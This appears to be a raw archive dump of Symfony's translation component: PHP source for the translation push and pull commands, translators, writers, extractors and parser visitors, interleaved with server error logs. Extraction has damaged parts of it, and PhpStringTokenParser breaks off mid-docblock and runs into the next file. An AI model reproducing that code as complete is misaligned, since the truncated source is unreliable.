function __construct(TranslationProviderCollection $providers, TranslationReaderInterface $reader, array $transPaths = [], array $enabledLocales = []) { $this->providers = $providers; $this->reader = $reader; $this->transPaths = $transPaths; $this->enabledLocales = $enabledLocales; parent::__construct(); } public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { if ($input->mustSuggestArgumentValuesFor('provider')) { $suggestions->suggestValues($this->providers->keys()); return; } if ($input->mustSuggestOptionValuesFor('domains')) { $provider = $this->providers->get($input->getArgument('provider')); if ($provider && method_exists($provider, 'getDomains')) { $domains = $provider->getDomains(); $suggestions->suggestValues($domains); } return; } if ($input->mustSuggestOptionValuesFor('locales')) { $suggestions->suggestValues($this->enabledLocales); } } protected function configure(): void { $keys = $this->providers->keys(); $defaultProvider = 1 === \count($keys) ? $keys[0] : null; $this ->setDefinition([ new InputArgument('provider', null !== $defaultProvider ? InputArgument::OPTIONAL : InputArgument::REQUIRED, 'The provider to push translations to.', $defaultProvider), new InputOption('force', null, InputOption::VALUE_NONE, 'Override existing translations with local ones (it will delete not synchronized messages).'), new InputOption('delete-missing', null, InputOption::VALUE_NONE, 'Delete translations available on provider but not locally.'), new InputOption('domains', null, InputOption::VALUE_OPTIONAL | InputOption::VALUE_IS_ARRAY, 'Specify the domains to push.'), new InputOption('locales', null, InputOption::VALUE_OPTIONAL | InputOption::VALUE_IS_ARRAY, 'Specify the locales to push.', $this->enabledLocales), ]) ->setHelp(<<<'EOF' The %command.name% command pushes translations to the given provider. Only new translations are pushed, existing ones are not overwritten. You can overwrite existing translations by using the --force flag: php %command.full_name% --force provider You can delete provider translations which are not present locally by using the --delete-missing flag: php %command.full_name% --delete-missing provider Full example: php %command.full_name% provider --force --delete-missing --domains=messages --domains=validators --locales=en This command pushes all translations associated with the messages and validators domains for the en locale. Provider translations for the specified domains and locale are deleted if they're not present locally and overwritten if it's the case. Provider translations for others domains and locales are ignored. EOF ) ; } protected function execute(InputInterface $input, OutputInterface $output): int { $provider = $this->providers->get($input->getArgument('provider')); if (!$this->enabledLocales) { throw new InvalidArgumentException(sprintf('You must define "framework.enabled_locales" or "framework.translator.providers.%s.locales" config key in order to work with translation providers.', parse_url($provider, \PHP_URL_SCHEME))); } $io = new SymfonyStyle($input, $output); $domains = $input->getOption('domains'); $locales = $input->getOption('locales'); $force = $input->getOption('force'); $deleteMissing = $input->getOption('delete-missing'); if (!$domains && $provider instanceof FilteringProvider) { $domains = $provider->getDomains(); } // Reading local translations must be done after retrieving the domains from the provider // in order to manage only translations from configured domains $localTranslations = $this->readLocalTranslations($locales, $domains, $this->transPaths); if (!$domains) { $domains = $this->getDomainsFromTranslatorBag($localTranslations); } if (!$deleteMissing && $force) { $provider->write($localTranslations); $io->success(sprintf('All local translations has been sent to "%s" (for "%s" locale(s), and "%s" domain(s)).', parse_url($provider, \PHP_URL_SCHEME), implode(', ', $locales), implode(', ', $domains))); return 0; } $providerTranslations = $provider->read($domains, $locales); if ($deleteMissing) { $provider->delete($providerTranslations->diff($localTranslations)); $io->success(sprintf('Missing translations on "%s" has been deleted (for "%s" locale(s), and "%s" domain(s)).', parse_url($provider, \PHP_URL_SCHEME), implode(', ', $locales), implode(', ', $domains))); // Read provider translations again, after missing translations deletion, // to avoid push freshly deleted translations. $providerTranslations = $provider->read($domains, $locales); } $translationsToWrite = $localTranslations->diff($providerTranslations); if ($force) { $translationsToWrite->addBag($localTranslations->intersect($providerTranslations)); } $provider->write($translationsToWrite); $io->success(sprintf('%s local translations has been sent to "%s" (for "%s" locale(s), and "%s" domain(s)).', $force ? 'All' : 'New', parse_url($provider, \PHP_URL_SCHEME), implode(', ', $locales), implode(', ', $domains))); return 0; } private function getDomainsFromTranslatorBag(TranslatorBag $translatorBag): array { $domains = []; foreach ($translatorBag->getCatalogues() as $catalogue) { $domains += $catalogue->getDomains(); } return array_unique($domains); } } translation/Command/error_log000064400000007625151113512130012400 0ustar00[20-Nov-2025 02:26:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/TranslationPullCommand.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/TranslationPullCommand.php on line 33 [20-Nov-2025 02:31:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/XliffLintCommand.php:36 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/XliffLintCommand.php on line 36 [20-Nov-2025 02:33:50 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/TranslationPushCommand.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/TranslationPushCommand.php on line 33 [20-Nov-2025 06:13:19 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/XliffLintCommand.php:36 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/XliffLintCommand.php on line 36 [20-Nov-2025 06:28:18 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/TranslationPushCommand.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/TranslationPushCommand.php on line 33 [20-Nov-2025 06:30:11 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/TranslationPullCommand.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/TranslationPullCommand.php on line 33 [25-Nov-2025 06:29:32 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/TranslationPushCommand.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/TranslationPushCommand.php on line 33 [25-Nov-2025 06:30:11 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/XliffLintCommand.php:36 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/XliffLintCommand.php on line 36 [25-Nov-2025 06:30:38 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/TranslationPullCommand.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/TranslationPullCommand.php on line 33 [26-Nov-2025 01:20:03 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/TranslationPushCommand.php:33 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/TranslationPushCommand.php on line 33 [26-Nov-2025 02:05:17 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Console\Command\Command" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/XliffLintCommand.php:36 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Command/XliffLintCommand.php on line 36 translation/Command/TranslationPullCommand.php000064400000016701151113512130015621 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Command; use Symfony\Component\Console\Attribute\AsCommand; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Completion\CompletionInput; use Symfony\Component\Console\Completion\CompletionSuggestions; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Style\SymfonyStyle; use Symfony\Component\Translation\Catalogue\TargetOperation; use Symfony\Component\Translation\MessageCatalogue; use Symfony\Component\Translation\Provider\TranslationProviderCollection; use Symfony\Component\Translation\Reader\TranslationReaderInterface; use Symfony\Component\Translation\Writer\TranslationWriterInterface; /** * @author Mathieu Santostefano */ #[AsCommand(name: 'translation:pull', description: 'Pull translations from a given provider.')] final class TranslationPullCommand extends Command { use TranslationTrait; private TranslationProviderCollection $providerCollection; private TranslationWriterInterface $writer; private TranslationReaderInterface $reader; private string $defaultLocale; private array $transPaths; private array $enabledLocales; public function __construct(TranslationProviderCollection $providerCollection, TranslationWriterInterface $writer, TranslationReaderInterface $reader, string $defaultLocale, array $transPaths = [], array $enabledLocales = []) { $this->providerCollection = $providerCollection; $this->writer = $writer; $this->reader = $reader; $this->defaultLocale = $defaultLocale; $this->transPaths = $transPaths; $this->enabledLocales = $enabledLocales; parent::__construct(); } public function complete(CompletionInput $input, CompletionSuggestions $suggestions): void { if ($input->mustSuggestArgumentValuesFor('provider')) { $suggestions->suggestValues($this->providerCollection->keys()); return; } if ($input->mustSuggestOptionValuesFor('domains')) { $provider = $this->providerCollection->get($input->getArgument('provider')); if (method_exists($provider, 'getDomains')) { $suggestions->suggestValues($provider->getDomains()); } return; } if ($input->mustSuggestOptionValuesFor('locales')) { $suggestions->suggestValues($this->enabledLocales); return; } if ($input->mustSuggestOptionValuesFor('format')) { $suggestions->suggestValues(['php', 'xlf', 'xlf12', 'xlf20', 'po', 'mo', 'yml', 'yaml', 'ts', 'csv', 'json', 'ini', 'res']); } } protected function configure(): void { $keys = $this->providerCollection->keys(); $defaultProvider = 1 === \count($keys) ? $keys[0] : null; $this ->setDefinition([ new InputArgument('provider', null !== $defaultProvider ? InputArgument::OPTIONAL : InputArgument::REQUIRED, 'The provider to pull translations from.', $defaultProvider), new InputOption('force', null, InputOption::VALUE_NONE, 'Override existing translations with provider ones (it will delete not synchronized messages).'), new InputOption('intl-icu', null, InputOption::VALUE_NONE, 'Associated to --force option, it will write messages in "%domain%+intl-icu.%locale%.xlf" files.'), new InputOption('domains', null, InputOption::VALUE_OPTIONAL | InputOption::VALUE_IS_ARRAY, 'Specify the domains to pull.'), new InputOption('locales', null, InputOption::VALUE_OPTIONAL | InputOption::VALUE_IS_ARRAY, 'Specify the locales to pull.'), new InputOption('format', null, InputOption::VALUE_OPTIONAL, 'Override the default output format.', 'xlf12'), ]) ->setHelp(<<<'EOF' The %command.name% command pulls translations from the given provider. Only new translations are pulled, existing ones are not overwritten. You can overwrite existing translations (and remove the missing ones on local side) by using the --force flag: php %command.full_name% --force provider Full example: php %command.full_name% provider --force --domains=messages --domains=validators --locales=en This command pulls all translations associated with the messages and validators domains for the en locale. Local translations for the specified domains and locale are deleted if they're not present on the provider and overwritten if it's the case. Local translations for others domains and locales are ignored. EOF ) ; } protected function execute(InputInterface $input, OutputInterface $output): int { $io = new SymfonyStyle($input, $output); $provider = $this->providerCollection->get($input->getArgument('provider')); $force = $input->getOption('force'); $intlIcu = $input->getOption('intl-icu'); $locales = $input->getOption('locales') ?: $this->enabledLocales; $domains = $input->getOption('domains'); $format = $input->getOption('format'); $xliffVersion = '1.2'; if ($intlIcu && !$force) { $io->note('--intl-icu option only has an effect when used with --force. Here, it will be ignored.'); } switch ($format) { case 'xlf20': $xliffVersion = '2.0'; // no break case 'xlf12': $format = 'xlf'; } $writeOptions = [ 'path' => end($this->transPaths), 'xliff_version' => $xliffVersion, 'default_locale' => $this->defaultLocale, ]; if (!$domains) { $domains = $provider->getDomains(); } $providerTranslations = $provider->read($domains, $locales); if ($force) { foreach ($providerTranslations->getCatalogues() as $catalogue) { $operation = new TargetOperation(new MessageCatalogue($catalogue->getLocale()), $catalogue); if ($intlIcu) { $operation->moveMessagesToIntlDomainsIfPossible(); } $this->writer->write($operation->getResult(), $format, $writeOptions); } $io->success(sprintf('Local translations has been updated from "%s" (for "%s" locale(s), and "%s" domain(s)).', parse_url($provider, \PHP_URL_SCHEME), implode(', ', $locales), implode(', ', $domains))); return 0; } $localTranslations = $this->readLocalTranslations($locales, $domains, $this->transPaths); // Append pulled translations to local ones. $localTranslations->addBag($providerTranslations->diff($localTranslations)); foreach ($localTranslations->getCatalogues() as $catalogue) { $this->writer->write($catalogue, $format, $writeOptions); } $io->success(sprintf('New translations from "%s" has been written locally (for "%s" locale(s), and "%s" domain(s)).', parse_url($provider, \PHP_URL_SCHEME), implode(', ', $locales), implode(', ', $domains))); return 0; } } translation/DataCollectorTranslator.php000064400000010734151113512130014403 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation; use Symfony\Component\HttpKernel\CacheWarmer\WarmableInterface; use Symfony\Component\Translation\Exception\InvalidArgumentException; use Symfony\Contracts\Translation\LocaleAwareInterface; use Symfony\Contracts\Translation\TranslatorInterface; /** * @author Abdellatif Ait boudad */ class DataCollectorTranslator implements TranslatorInterface, TranslatorBagInterface, LocaleAwareInterface, WarmableInterface { public const MESSAGE_DEFINED = 0; public const MESSAGE_MISSING = 1; public const MESSAGE_EQUALS_FALLBACK = 2; private TranslatorInterface $translator; private array $messages = []; /** * @param TranslatorInterface&TranslatorBagInterface&LocaleAwareInterface $translator */ public function __construct(TranslatorInterface $translator) { if (!$translator instanceof TranslatorBagInterface || !$translator instanceof LocaleAwareInterface) { throw new InvalidArgumentException(sprintf('The Translator "%s" must implement TranslatorInterface, TranslatorBagInterface and LocaleAwareInterface.', get_debug_type($translator))); } $this->translator = $translator; } public function trans(?string $id, array $parameters = [], string $domain = null, string $locale = null): string { $trans = $this->translator->trans($id = (string) $id, $parameters, $domain, $locale); $this->collectMessage($locale, $domain, $id, $trans, $parameters); return $trans; } /** * @return void */ public function setLocale(string $locale) { $this->translator->setLocale($locale); } public function getLocale(): string { return $this->translator->getLocale(); } public function getCatalogue(string $locale = null): MessageCatalogueInterface { return $this->translator->getCatalogue($locale); } public function getCatalogues(): array { return $this->translator->getCatalogues(); } /** * @return string[] */ public function warmUp(string $cacheDir): array { if ($this->translator instanceof WarmableInterface) { return (array) $this->translator->warmUp($cacheDir); } return []; } /** * Gets the fallback locales. */ public function getFallbackLocales(): array { if ($this->translator instanceof Translator || method_exists($this->translator, 'getFallbackLocales')) { return $this->translator->getFallbackLocales(); } return []; } /** * Passes through all unknown calls onto the translator object. */ public function __call(string $method, array $args) { return $this->translator->{$method}(...$args); } public function getCollectedMessages(): array { return $this->messages; } private function collectMessage(?string $locale, ?string $domain, string $id, string $translation, ?array $parameters = []): void { $domain ??= 'messages'; $catalogue = $this->translator->getCatalogue($locale); $locale = $catalogue->getLocale(); $fallbackLocale = null; if ($catalogue->defines($id, $domain)) { $state = self::MESSAGE_DEFINED; } elseif ($catalogue->has($id, $domain)) { $state = self::MESSAGE_EQUALS_FALLBACK; $fallbackCatalogue = $catalogue->getFallbackCatalogue(); while ($fallbackCatalogue) { if ($fallbackCatalogue->defines($id, $domain)) { $fallbackLocale = $fallbackCatalogue->getLocale(); break; } $fallbackCatalogue = $fallbackCatalogue->getFallbackCatalogue(); } } else { $state = self::MESSAGE_MISSING; } $this->messages[] = [ 'locale' => $locale, 'fallbackLocale' => $fallbackLocale, 'domain' => $domain, 'id' => $id, 'translation' => $translation, 'parameters' => $parameters, 'state' => $state, 'transChoiceNumber' => isset($parameters['%count%']) && is_numeric($parameters['%count%']) ? $parameters['%count%'] : null, ]; } } translation/Writer/TranslationWriterInterface.php000064400000001710151113512130016373 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Writer; use Symfony\Component\Translation\Exception\InvalidArgumentException; use Symfony\Component\Translation\MessageCatalogue; /** * TranslationWriter writes translation messages. * * @author Michel Salib */ interface TranslationWriterInterface { /** * Writes translation from the catalogue according to the selected format. * * @param string $format The format to use to dump the messages * @param array $options Options that are passed to the dumper * * @return void * * @throws InvalidArgumentException */ public function write(MessageCatalogue $catalogue, string $format, array $options = []); } translation/Writer/TranslationWriter.php000064400000004172151113512130014557 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Writer; use Symfony\Component\Translation\Dumper\DumperInterface; use Symfony\Component\Translation\Exception\InvalidArgumentException; use Symfony\Component\Translation\Exception\RuntimeException; use Symfony\Component\Translation\MessageCatalogue; /** * TranslationWriter writes translation messages. * * @author Michel Salib */ class TranslationWriter implements TranslationWriterInterface { /** * @var array */ private array $dumpers = []; /** * Adds a dumper to the writer. * * @return void */ public function addDumper(string $format, DumperInterface $dumper) { $this->dumpers[$format] = $dumper; } /** * Obtains the list of supported formats. */ public function getFormats(): array { return array_keys($this->dumpers); } /** * Writes translation from the catalogue according to the selected format. * * @param string $format The format to use to dump the messages * @param array $options Options that are passed to the dumper * * @return void * * @throws InvalidArgumentException */ public function write(MessageCatalogue $catalogue, string $format, array $options = []) { if (!isset($this->dumpers[$format])) { throw new InvalidArgumentException(sprintf('There is no dumper associated with format "%s".', $format)); } // get the right dumper $dumper = $this->dumpers[$format]; if (isset($options['path']) && !is_dir($options['path']) && !@mkdir($options['path'], 0777, true) && !is_dir($options['path'])) { throw new RuntimeException(sprintf('Translation Writer was not able to create directory "%s".', $options['path'])); } // save $dumper->dump($catalogue, $options); } } translation/Writer/error_log000064400000002167151113512130012272 0ustar00[20-Nov-2025 04:01:02 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Writer\TranslationWriterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Writer/TranslationWriter.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Writer/TranslationWriter.php on line 24 [20-Nov-2025 08:52:44 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Writer\TranslationWriterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Writer/TranslationWriter.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Writer/TranslationWriter.php on line 24 [26-Nov-2025 00:38:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Translation\Writer\TranslationWriterInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Writer/TranslationWriter.php:24 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/translation/Writer/TranslationWriter.php on line 24 translation/Extractor/PhpStringTokenParser.php000064400000010546151113512130015661 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Extractor; trigger_deprecation('symfony/translation', '6.2', '"%s" is deprecated.', PhpStringTokenParser::class); /* * The following is derived from code at http://github.com/nikic/PHP-Parser * * Copyright (c) 2011 by Nikita Popov * * Some rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials provided * with the distribution. * * * The names of the contributors may not be used to endorse or * promote products derived from this software without specific * prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /** * @deprecated since Symfony 6.2 */ class PhpStringTokenParser { protected static $replacements = [ '\\' => '\\', '$' => '$', 'n' => "\n", 'r' => "\r", 't' => "\t", 'f' => "\f", 'v' => "\v", 'e' => "\x1B", ]; /** * Parses a string token. * * @param string $str String token content */ public static function parse(string $str): string { $bLength = 0; if ('b' === $str[0]) { $bLength = 1; } if ('\'' === $str[$bLength]) { return str_replace( ['\\\\', '\\\''], ['\\', '\''], substr($str, $bLength + 1, -1) ); } else { return self::parseEscapeSequences(substr($str, $bLength + 1, -1), '"'); } } /** * Parses escape sequences in strings (all string types apart from single quoted). * * @param string $str String without quotes * @param string|null $quote Quote type */ public static function parseEscapeSequences(string $str, string $quote = null): string { if (null !== $quote) { $str = str_replace('\\'.$quote, $quote, $str); } return preg_replace_callback( '~\\\\([\\\\$nrtfve]|[xX][0-9a-fA-F]{1,2}|[0-7]{1,3})~', [__CLASS__, 'parseCallback'], $str ); } private static function parseCallback(array $matches): string { $str = $matches[1]; if (isset(self::$replacements[$str])) { return self::$replacements[$str]; } elseif ('x' === $str[0] || 'X' === $str[0]) { return \chr(hexdec($str)); } else { return \chr(octdec($str)); } } /** * Parses a constant doc string. * * @param string $startToken Doc string start token content (<< * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Extractor; use Symfony\Component\Translation\MessageCatalogue; /** * ChainExtractor extracts translation messages from template files. * * @author Michel Salib */ class ChainExtractor implements ExtractorInterface { /** * The extractors. * * @var ExtractorInterface[] */ private array $extractors = []; /** * Adds a loader to the translation extractor. * * @return void */ public function addExtractor(string $format, ExtractorInterface $extractor) { $this->extractors[$format] = $extractor; } /** * @return void */ public function setPrefix(string $prefix) { foreach ($this->extractors as $extractor) { $extractor->setPrefix($prefix); } } /** * @return void */ public function extract(string|iterable $directory, MessageCatalogue $catalogue) { foreach ($this->extractors as $extractor) { $extractor->extract($directory, $catalogue); } } } translation/Extractor/ExtractorInterface.php000064400000002023151113512130015350 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Extractor; use Symfony\Component\Translation\MessageCatalogue; /** * Extracts translation messages from a directory or files to the catalogue. * New found messages are injected to the catalogue using the prefix. * * @author Michel Salib */ interface ExtractorInterface { /** * Extracts translation messages from files, a file or a directory to the catalogue. * * @param string|iterable $resource Files, a file or a directory * * @return void */ public function extract(string|iterable $resource, MessageCatalogue $catalogue); /** * Sets the prefix that should be used for new found messages. * * @return void */ public function setPrefix(string $prefix); } translation/Extractor/Visitor/AbstractVisitor.php000064400000007740151113512130016351 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Extractor\Visitor; use PhpParser\Node; use Symfony\Component\Translation\MessageCatalogue; /** * @author Mathieu Santostefano */ abstract class AbstractVisitor { private MessageCatalogue $catalogue; private \SplFileInfo $file; private string $messagePrefix; public function initialize(MessageCatalogue $catalogue, \SplFileInfo $file, string $messagePrefix): void { $this->catalogue = $catalogue; $this->file = $file; $this->messagePrefix = $messagePrefix; } protected function addMessageToCatalogue(string $message, ?string $domain, int $line): void { $domain ??= 'messages'; $this->catalogue->set($message, $this->messagePrefix.$message, $domain); $metadata = $this->catalogue->getMetadata($message, $domain) ?? []; $normalizedFilename = preg_replace('{[\\\\/]+}', '/', $this->file); $metadata['sources'][] = $normalizedFilename.':'.$line; $this->catalogue->setMetadata($message, $metadata, $domain); } protected function getStringArguments(Node\Expr\CallLike|Node\Attribute|Node\Expr\New_ $node, int|string $index, bool $indexIsRegex = false): array { if (\is_string($index)) { return $this->getStringNamedArguments($node, $index, $indexIsRegex); } $args = $node instanceof Node\Expr\CallLike ? $node->getRawArgs() : $node->args; if (!($arg = $args[$index] ?? null) instanceof Node\Arg) { return []; } return (array) $this->getStringValue($arg->value); } protected function hasNodeNamedArguments(Node\Expr\CallLike|Node\Attribute|Node\Expr\New_ $node): bool { $args = $node instanceof Node\Expr\CallLike ? $node->getRawArgs() : $node->args; foreach ($args as $arg) { if ($arg instanceof Node\Arg && null !== $arg->name) { return true; } } return false; } protected function nodeFirstNamedArgumentIndex(Node\Expr\CallLike|Node\Attribute|Node\Expr\New_ $node): int { $args = $node instanceof Node\Expr\CallLike ? $node->getRawArgs() : $node->args; foreach ($args as $i => $arg) { if ($arg instanceof Node\Arg && null !== $arg->name) { return $i; } } return \PHP_INT_MAX; } private function getStringNamedArguments(Node\Expr\CallLike|Node\Attribute $node, string $argumentName = null, bool $isArgumentNamePattern = false): array { $args = $node instanceof Node\Expr\CallLike ? $node->getArgs() : $node->args; $argumentValues = []; foreach ($args as $arg) { if (!$isArgumentNamePattern && $arg->name?->toString() === $argumentName) { $argumentValues[] = $this->getStringValue($arg->value); } elseif ($isArgumentNamePattern && preg_match($argumentName, $arg->name?->toString() ?? '') > 0) { $argumentValues[] = $this->getStringValue($arg->value); } } return array_filter($argumentValues); } private function getStringValue(Node $node): ?string { if ($node instanceof Node\Scalar\String_) { return $node->value; } if ($node instanceof Node\Expr\BinaryOp\Concat) { if (null === $left = $this->getStringValue($node->left)) { return null; } if (null === $right = $this->getStringValue($node->right)) { return null; } return $left.$right; } if ($node instanceof Node\Expr\Assign && $node->expr instanceof Node\Scalar\String_) { return $node->expr->value; } return null; } } translation/Extractor/Visitor/ConstraintVisitor.php000064400000005553151113512130016732 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Extractor\Visitor; use PhpParser\Node; use PhpParser\NodeVisitor; /** * @author Mathieu Santostefano * * Code mostly comes from https://github.com/php-translation/extractor/blob/master/src/Visitor/Php/Symfony/Constraint.php */ final class ConstraintVisitor extends AbstractVisitor implements NodeVisitor { public function __construct( private readonly array $constraintClassNames = [] ) { } public function beforeTraverse(array $nodes): ?Node { return null; } public function enterNode(Node $node): ?Node { if (!$node instanceof Node\Expr\New_ && !$node instanceof Node\Attribute) { return null; } $className = $node instanceof Node\Attribute ? $node->name : $node->class; if (!$className instanceof Node\Name) { return null; } $parts = $className->parts; $isConstraintClass = false; foreach ($parts as $part) { if (\in_array($part, $this->constraintClassNames, true)) { $isConstraintClass = true; break; } } if (!$isConstraintClass) { return null; } $arg = $node->args[0] ?? null; if (!$arg instanceof Node\Arg) { return null; } if ($this->hasNodeNamedArguments($node)) { $messages = $this->getStringArguments($node, '/message/i', true); } else { if (!$arg->value instanceof Node\Expr\Array_) { // There is no way to guess which argument is a message to be translated. return null; } $messages = []; $options = $arg->value; /** @var Node\Expr\ArrayItem $item */ foreach ($options->items as $item) { if (!$item->key instanceof Node\Scalar\String_) { continue; } if (false === stripos($item->key->value ?? '', 'message')) { continue; } if (!$item->value instanceof Node\Scalar\String_) { continue; } $messages[] = $item->value->value; break; } } foreach ($messages as $message) { $this->addMessageToCatalogue($message, 'validators', $node->getStartLine()); } return null; } public function leaveNode(Node $node): ?Node { return null; } public function afterTraverse(array $nodes): ?Node { return null; } } translation/Extractor/Visitor/TransMethodVisitor.php000064400000003300151113512130017022 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Extractor\Visitor; use PhpParser\Node; use PhpParser\NodeVisitor; /** * @author Mathieu Santostefano */ final class TransMethodVisitor extends AbstractVisitor implements NodeVisitor { public function beforeTraverse(array $nodes): ?Node { return null; } public function enterNode(Node $node): ?Node { if (!$node instanceof Node\Expr\MethodCall && !$node instanceof Node\Expr\FuncCall) { return null; } if (!\is_string($node->name) && !$node->name instanceof Node\Identifier && !$node->name instanceof Node\Name) { return null; } $name = (string) $node->name; if ('trans' === $name || 't' === $name) { $firstNamedArgumentIndex = $this->nodeFirstNamedArgumentIndex($node); if (!$messages = $this->getStringArguments($node, 0 < $firstNamedArgumentIndex ? 0 : 'message')) { return null; } $domain = $this->getStringArguments($node, 2 < $firstNamedArgumentIndex ? 2 : 'domain')[0] ?? null; foreach ($messages as $message) { $this->addMessageToCatalogue($message, $domain, $node->getStartLine()); } } return null; } public function leaveNode(Node $node): ?Node { return null; } public function afterTraverse(array $nodes): ?Node { return null; } } translation/Extractor/Visitor/TranslatableMessageVisitor.php000064400000003116151113512130020520 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Translation\Extractor\Visitor; use PhpParser\Node; use PhpParser\NodeVisitor; /** * @author Mathieu Santostefano */ final class TranslatableMessageVisitor extends AbstractVisitor implements NodeVisitor { public function beforeTraverse(array $nodes): ?Node { return null; } public function enterNode(Node $node): ?Node { if (!$node instanceof Node\Expr\New_) { return null; } if (!($className = $node->class) instanceof Node\Name) { return null; } if (!\in_array('TranslatableMessage', $className->parts, true)) { return null; } $firstNamedArgumentIndex = $this->nodeFirstNamedArgumentIndex($node); if (!$messages = $this->getStringArguments($node, 0 < $firstNamedArgumentIndex ? 0 : 'message')) { return null; } $domain = $this->getStringArguments($node, 2 < $firstNamedArgumentIndex ? 2 : 'domain')[0] ?? null; foreach ($messages as $message) { $this->addMessageToCatalogue($message, $domain, $node->getStartLine()); } return null; } public function leaveNode(Node $node): ?Node { return null; } public function afterTraverse(array $nodes): ?Node { return null; } } translation/Extractor/AbstractFileExtractor.php000064400000003316151113512130016021 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace 